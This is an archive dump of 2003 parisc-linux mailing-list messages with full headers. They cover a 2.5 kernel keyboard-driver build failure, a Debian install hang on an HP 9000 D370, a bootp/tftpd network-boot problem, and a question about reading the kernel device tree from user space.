X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17900

Hi there,

I tried to compiled the newest kernel from CVS. After "make distclean" 
and "make oldconfig", "make vmlinux" stops with the following error:

make -f scripts/Makefile.build obj=drivers/input/misc
  gcc -Wp,-MD,drivers/input/misc/.gsc_ps2.o.d -D__KERNEL__ -Iinclude 
-Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing 
-fno-common -pipe -mno-space-regs -mfast-indirect-calls -mdisable-fpregs 
-ffunction-sections -march=1.1 -mschedule=7100LC -fomit-frame-pointer 
-nostdinc -iwithprefix include    -DKBUILD_BASENAME=gsc_ps2 
-DKBUILD_MODNAME=gsc_ps2 -c -o drivers/input/misc/gsc_ps2.o 
drivers/input/misc/gsc_ps2.c
drivers/input/misc/gsc_ps2.c:59:27: linux/pc_keyb.h: Datei oder 
Verzeichnis nicht gefunden
drivers/input/misc/gsc_ps2.c:345:40: macro "input_regs" requires 2 
arguments, but only 1 given
drivers/input/misc/gsc_ps2.c: In function `gscps2_kbd_docode':
drivers/input/misc/gsc_ps2.c:345: `input_regs' undeclared (first use in 
this function)
drivers/input/misc/gsc_ps2.c:345: (Each undeclared identifier is 
reported only once
drivers/input/misc/gsc_ps2.c:345: for each function it appears in.)
drivers/input/misc/gsc_ps2.c:392:32: macro "input_regs" requires 2 
arguments, but only 1 given
drivers/input/misc/gsc_ps2.c: In function `gscps2_mouse_docode':
drivers/input/misc/gsc_ps2.c:392: `input_regs' undeclared (first use in 
this function)
drivers/input/misc/gsc_ps2.c: In function `gscps2_hpkeyb_event':
drivers/input/misc/gsc_ps2.c:454: `KBD_CMD_SET_LEDS' undeclared (first 
use in this function)
drivers/input/misc/gsc_ps2.c:471: `KBD_CMD_ENABLE' undeclared (first use 
in this function)
drivers/input/misc/gsc_ps2.c: In function `gscps2_kbd_probe':
drivers/input/misc/gsc_ps2.c:501: `KBD_CMD_SET_LEDS' undeclared (first 
use in this function)
drivers/input/misc/gsc_ps2.c:503: `KBD_CMD_ENABLE' undeclared (first use 
in this function)
drivers/input/misc/gsc_ps2.c: In function `gscps2_mouse_probe':
drivers/input/misc/gsc_ps2.c:561: `AUX_ENABLE_DEV' undeclared (first use 
in this function)
drivers/input/misc/gsc_ps2.c: In function `gscps2_probe':
drivers/input/misc/gsc_ps2.c:584: warning: `ret' might be used 
uninitialized in this function
make[3]: *** [drivers/input/misc/gsc_ps2.o] Fehler 1
make[2]: *** [drivers/input/misc] Fehler 2
make[1]: *** [drivers/input] Fehler 2
make: *** [drivers] Fehler 2
ruediger@gandalf:/usr/src/linux-2.5$

Can I delete the line, which includes "linux/pc_keyb" or how can I avoid 
this error?

TIA, Rdiger



From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC hp 9000 model D 370
Date: Wed, 12 Mar 2003 14:12:53 +0000 (GMT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303121410510.9501-100000@sal.ucc.ie>
References: <008401c2e89a$13d85ef0$9632326e@wpires>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622275 22762 80.91.229.3 (22 Nov 2014 02:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Willian Ricardo <willian@mococasa.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 07:13:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59387485F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 07:13:05 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h2CECss13653;
	Wed, 12 Mar 2003 14:12:54 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <008401c2e89a$13d85ef0$9632326e@wpires>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17901

On Wed, 12 Mar 2003, Willian Ricardo wrote:

> My name is Willian I am from Brazil, I have a personal computer RISC HP 9000 I Model D 370
> I am trying to install DEBIAN 3.0, but I am having some problems in the hour of the installation.
> I inserted the CD in the unit and I pressed the key space, I typed: bo 8/16/5.2.0 and he began for the cd, he asked something on IPL I answered Y and later he asked me something about memory, I placed my memory and he/she asked something on vmlinux 32 or 64, I changed for 64, later I pressed " b "
> he brought me the following answer:

Use 32bit for the D370!
IIRC 64bit is just for 64bit ONLY HP-PA boxes, such as the A500 and L2000.
Please read the FAQ at http://www.parisc-linux.org/faq/index.html#support64bit.

greetings max



From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compile-Failure Kernel 2.5.64-pa4
Date: Wed, 12 Mar 2003 15:18:44 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <88753163-5495-11D7-A259-0030656F07A2@esiee.fr>
References: <3E6F3BA1.6050707@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622275 22763 80.91.229.3 (22 Nov 2014 02:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 07:18:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5AE4485F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 07:18:47 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 50B6349C27; Wed, 12 Mar 2003 15:18:46 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id C9A5549C21; Wed, 12 Mar 2003 15:18:44 +0100 (CET)
In-Reply-To: <3E6F3BA1.6050707@bluehash.de>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17902

that's 2.5, aka _development_ kernel, and the keyboard driver is=20
b0rken. There'll be a fix soon, please be patient; but unless you want=20=

to contribute to 2.5, you don't want to use it.

Anyway, if your box boots using serial console, you don't need that=20
driver.

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

Le mercredi, 12 mar 2003, =E0 14:52 Europe/Paris, R=FCdiger Scholz a =
=E9crit :

> Hi there,
>
> I tried to compiled the newest kernel from CVS. After "make distclean"=20=

> and "make oldconfig", "make vmlinux" stops with the following error:
>
> make -f scripts/Makefile.build obj=3Ddrivers/input/misc
>  gcc -Wp,-MD,drivers/input/misc/.gsc_ps2.o.d -D__KERNEL__ -Iinclude=20
> -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing=20
> -fno-common -pipe -mno-space-regs -mfast-indirect-calls=20
> -mdisable-fpregs -ffunction-sections -march=3D1.1 -mschedule=3D7100LC=20=

> -fomit-frame-pointer -nostdinc -iwithprefix include   =20
> -DKBUILD_BASENAME=3Dgsc_ps2 -DKBUILD_MODNAME=3Dgsc_ps2 -c -o=20
> drivers/input/misc/gsc_ps2.o drivers/input/misc/gsc_ps2.c
> drivers/input/misc/gsc_ps2.c:59:27: linux/pc_keyb.h: Datei oder=20
> Verzeichnis nicht gefunden
> drivers/input/misc/gsc_ps2.c:345:40: macro "input_regs" requires 2=20
> arguments, but only 1 given
> drivers/input/misc/gsc_ps2.c: In function `gscps2_kbd_docode':
> drivers/input/misc/gsc_ps2.c:345: `input_regs' undeclared (first use=20=

> in this function)
> drivers/input/misc/gsc_ps2.c:345: (Each undeclared identifier is=20
> reported only once
> drivers/input/misc/gsc_ps2.c:345: for each function it appears in.)
> drivers/input/misc/gsc_ps2.c:392:32: macro "input_regs" requires 2=20
> arguments, but only 1 given
> drivers/input/misc/gsc_ps2.c: In function `gscps2_mouse_docode':
> drivers/input/misc/gsc_ps2.c:392: `input_regs' undeclared (first use=20=

> in this function)
> drivers/input/misc/gsc_ps2.c: In function `gscps2_hpkeyb_event':
> drivers/input/misc/gsc_ps2.c:454: `KBD_CMD_SET_LEDS' undeclared (first=20=

> use in this function)
> drivers/input/misc/gsc_ps2.c:471: `KBD_CMD_ENABLE' undeclared (first=20=

> use in this function)
> drivers/input/misc/gsc_ps2.c: In function `gscps2_kbd_probe':
> drivers/input/misc/gsc_ps2.c:501: `KBD_CMD_SET_LEDS' undeclared (first=20=

> use in this function)
> drivers/input/misc/gsc_ps2.c:503: `KBD_CMD_ENABLE' undeclared (first=20=

> use in this function)
> drivers/input/misc/gsc_ps2.c: In function `gscps2_mouse_probe':
> drivers/input/misc/gsc_ps2.c:561: `AUX_ENABLE_DEV' undeclared (first=20=

> use in this function)
> drivers/input/misc/gsc_ps2.c: In function `gscps2_probe':
> drivers/input/misc/gsc_ps2.c:584: warning: `ret' might be used=20
> uninitialized in this function
> make[3]: *** [drivers/input/misc/gsc_ps2.o] Fehler 1
> make[2]: *** [drivers/input/misc] Fehler 2
> make[1]: *** [drivers/input] Fehler 2
> make: *** [drivers] Fehler 2
> ruediger@gandalf:/usr/src/linux-2.5$
>
> Can I delete the line, which includes "linux/pc_keyb" or how can I=20
> avoid this error?
>
> TIA, R=FCdiger
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>




From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC hp 9000 model D 370
Date: Wed, 12 Mar 2003 14:29:36 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030312142936.GQ16414@parcelfarce.linux.theplanet.co.uk>
References: <008401c2e89a$13d85ef0$9632326e@wpires>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622275 22773 80.91.229.3 (22 Nov 2014 02:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Willian Ricardo <willian@mococasa.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 07:29:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2B75485F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 07:29:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18t7Ee-0001av-00; Wed, 12 Mar 2003 14:29:36 +0000
Content-Disposition: inline
In-Reply-To: <008401c2e89a$13d85ef0$9632326e@wpires>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17903

On Wed, Mar 12, 2003 at 10:19:57AM -0300, Willian Ricardo wrote:
> loading ramdisk 2663046 bytes@2fd65000...
> Branching to kernel entry point 0x0010000. If this the last
> Message you, you may need to switch you console . this is a common symptom -- search the FAQ and mailing at parisc-linux.org

Another possibility with the D class is that it has the Remote Management
card installed.  The kernel in Debian 3.0 doesn't support it; you have
to remove it.  Later kernels support it just fine, but you have to use
ttyB0 not ttyS0.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bootp/tftpd :(
Date: Wed, 12 Mar 2003 17:04:11 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <BAY1-DAV25AusVxONvz0001408a@hotmail.com>
References: <200303120011.21354.trnepal@papuasia.org> <20030312095243.4324170a.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622276 22775 80.91.229.3 (22 Nov 2014 02:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:16 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Thibaut VARENE" <varenet@esiee.fr>,
	"trnepal" <trnepal@papuasia.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 09:05:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay1-dav25.bay1.hotmail.com [65.54.244.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 668594834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 09:05:15 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 12 Mar 2003 08:05:14 -0800
X-Originating-IP: [194.7.238.98]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 12 Mar 2003 16:05:14.0706 (UTC) FILETIME=[2AF09320:01C2E8B1]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17904

Something like that used to be the default footer when receiving messages
from the JServ mailing list ;)

----- Original Message -----
From: "Thibaut VARENE" <varenet@esiee.fr>
To: "trnepal" <trnepal@papuasia.org>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, March 12, 2003 9:52 AM
Subject: Re: [parisc-linux] bootp/tftpd :(


> In your case 1) should be enough.
>
> -----
> This is a template message.
>
> 1) Read the PA-RISC/Linux Boot HOWTO
> http://pateam.esiee.fr/doc.html
>
> 2) Read the FAQ
> http://www.fr.parisc-linux.org/faq/
>
> 3) Read the parisc-linux mailing-list archive
> http://www.fr.parisc-linux.org/mailing-lists/
>
> 4) Check the Hardware Database
> http://hwdb.parisc-linux.org/
>
> 5) Check the supported machines list
> http://pateam.esiee.fr/list.html
>
> 6) Read the "HOWTO Report a Kernel Bug"
> http://www.fr.parisc-linux.org/faq/kernelbug-howto.html
>
> 7) Read the "HOWTO Build a PA-RISC/Linux Kernel"
> http://www.fr.parisc-linux.org/kernel/
>
> ----
> That template may grow as some questions will reappear :P
>
>
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>
>
> On Wed, 12 Mar 2003 00:11:21 +0100
> "trnepal" <trnepal@papuasia.org> wrote:
>
> >
> >
> > hi all,
> >
> > im trying the lifimage 2.4.20-pa18-200301 from the esiee.fr pa team with
> > a 712/60 and a debian linux woody stable as as bootp/tftpd boot server.
> >
> > inetd.conf:
> > bootps          dgram   udp     wait    root    /usr/sbin/bootpd
 bootpd -i -t
> > 120
> > tftp    dgram   udp     wait    root    /usr/sbin/tcpd
/usr/sbin/in.tftpd
> > /tftpboot
> >
> >
> > the bootptab entry:
> >
pa:tc=allhost:ht=ether:bf=lifimage.img:hd=/tftpboot:ha=080009C9A102:ip=10.0.
0.12:to=7200
> >
> >
> > BOOT_ADMIN> boot lan .. and nothing happens :)
> >
> >
> > my syslog:
> > Mar 12 00:04:17 vivaio in.tftpd[786]: connect from 10.0.0.12
> > Mar 12 00:04:17 vivaio tftpd[787]: tftpd: trying to get file:
> > /tftpboot/lifimage.img
> >
> > and tcpdump ..
> > tcpdump: listening on eth0
> > 00:05:39.631149 10.0.0.11.bootps > 10.0.0.12.bootpc:  xid:0x420b596a
> > Y:10.0.0.12 S:10.0.0.11 sname "vivaio" [|bootp] (DF)
> > 00:05:39.970369 10.0.0.12.51998 > 10.0.0.11.tftp:  516 RRQ
> > "/tftpboot/lifimage.img" [tos 0x10]
> > 00:05:40.024953 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> > 00:05:40.026317 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
> > 00:05:40.026458 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> > 00:05:40.027593 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
> > 00:05:40.027701 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> > 00:05:40.028837 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
> > 00:05:40.028940 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> >
> >
> > sigh :((
> >
> > any clues? thanks in advance.
> > seeyouu byee.,'
> >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] enumerating devices from user space
Date: Wed, 12 Mar 2003 17:32:36 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20030312173235.A4332@typhon.pilat.fr>
Reply-To: vincentl@ec-lyon.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622276 22779 80.91.229.3 (22 Nov 2014 02:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 09:32:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from typhon.homeip.net (voltaire-102-1-10.net1.nerim.net [213.41.188.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 100704834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 09:32:38 -0700 (MST)
Original-Received: by typhon.homeip.net (Postfix, from userid 500)
	id 56DD6214311; Wed, 12 Mar 2003 17:32:36 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17905

Hi there,

I'm currently implementing a small tool called lshw (you can find it on
Freshmeat) that enumerates installed devices on a machine and reports them
as a device tree (text, HTML and XML).
For now it knows about DMI, PCI busses, SCSI, IDE and PCMCIA and I would
like to port it to PA-RISC Linux. I already get some very basic info from
/proc/cpuinfo.
Does anyone know how I can access the device tree as seen by the kernel?
(much like HP-UX's ioscan does and what is shown in dmesg)
I've tried digging in /proc without much success... is there a way to get
this information from user space? PPC Linux exposes the device tree in
/proc for example. A mechanism similar to /proc/bus/pci/devices (machine-
parseable text) would be great, too.

thanks for your help,
Lyonel.

PS: I noticed that /proc/iomem lists 00000000-000009ff as "PDC data (Page
Zero)", is there a chance I can find what I need there? (I dd-ed it from
/dev/mem but I can't say if it contains useful data...)

-- 
The software said it requires Windows 2000 or better, so I installed Linux.


From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Willian Ricardo" <tecinfo@mococa.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC HP 9000 MODEL D 370
Date: Wed, 12 Mar 2003 10:19:06 -0300
Lines: 96
Approved: news@gmane.org
Message-ID: <007101c2e899$f6262310$9632326e@wpires>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_006E_01C2E880.D0202260"
X-Trace: ger.gmane.org 1416622276 22781 80.91.229.3 (22 Nov 2014 02:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:16 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 06:17:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from koala.dialdata.com.br (koala.dialdata.com.br [200.219.192.250])
	by dsl2.external.hp.com (Postfix) with ESMTP id 725E2485F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 06:17:23 -0700 (MST)
Original-Received: from wpires (200-158-136-135.dialdata.net.br [200.158.136.135])
	by koala.dialdata.com.br (Postfix) with SMTP id 8599F1000C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 10:17:18 -0300 (EST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17906

This is a multi-part message in MIME format.

------=_NextPart_000_006E_01C2E880.D0202260
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

My name is Willian I am from Brazil, I have a personal computer RISC HP =
9000 I Model D 370 =20
I am trying to install DEBIAN 3.0, but I am having some problems in the =
hour of the installation. =20
I inserted the CD in the unit and I pressed the key space, I typed: bo =
8/16/5.2.0 and he began for the cd, he asked something on IPL I answered =
Y and later he asked me something about memory, I placed my memory and =
he/she asked something on vmlinux 32 or 64, I changed for 64, later I =
pressed " b "  =20
he brought me the following answer: =20
 =20
 =20
 Command line for kernel :  ramdisk_size=3D2663046 root =3D /dev/ram =
console=3Dtty0 TERM=3Dvt102 palo_kernel=3D0/vmlinux64
selected kernel: /vmlinux64 from partition 0
selected ramdisk:/ramdisk from partition 0
.
.
.
.
loading ramdisk 2663046 bytes@2fd65000...
Branching to kernel entry point 0x0010000. If this the last
Message you, you may need to switch you console . this is a common =
symptom -- search the FAQ and mailing at parisc-linux.org

what could be? =20
Thank you  =20
Willian

------=_NextPart_000_006E_01C2E880.D0202260
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
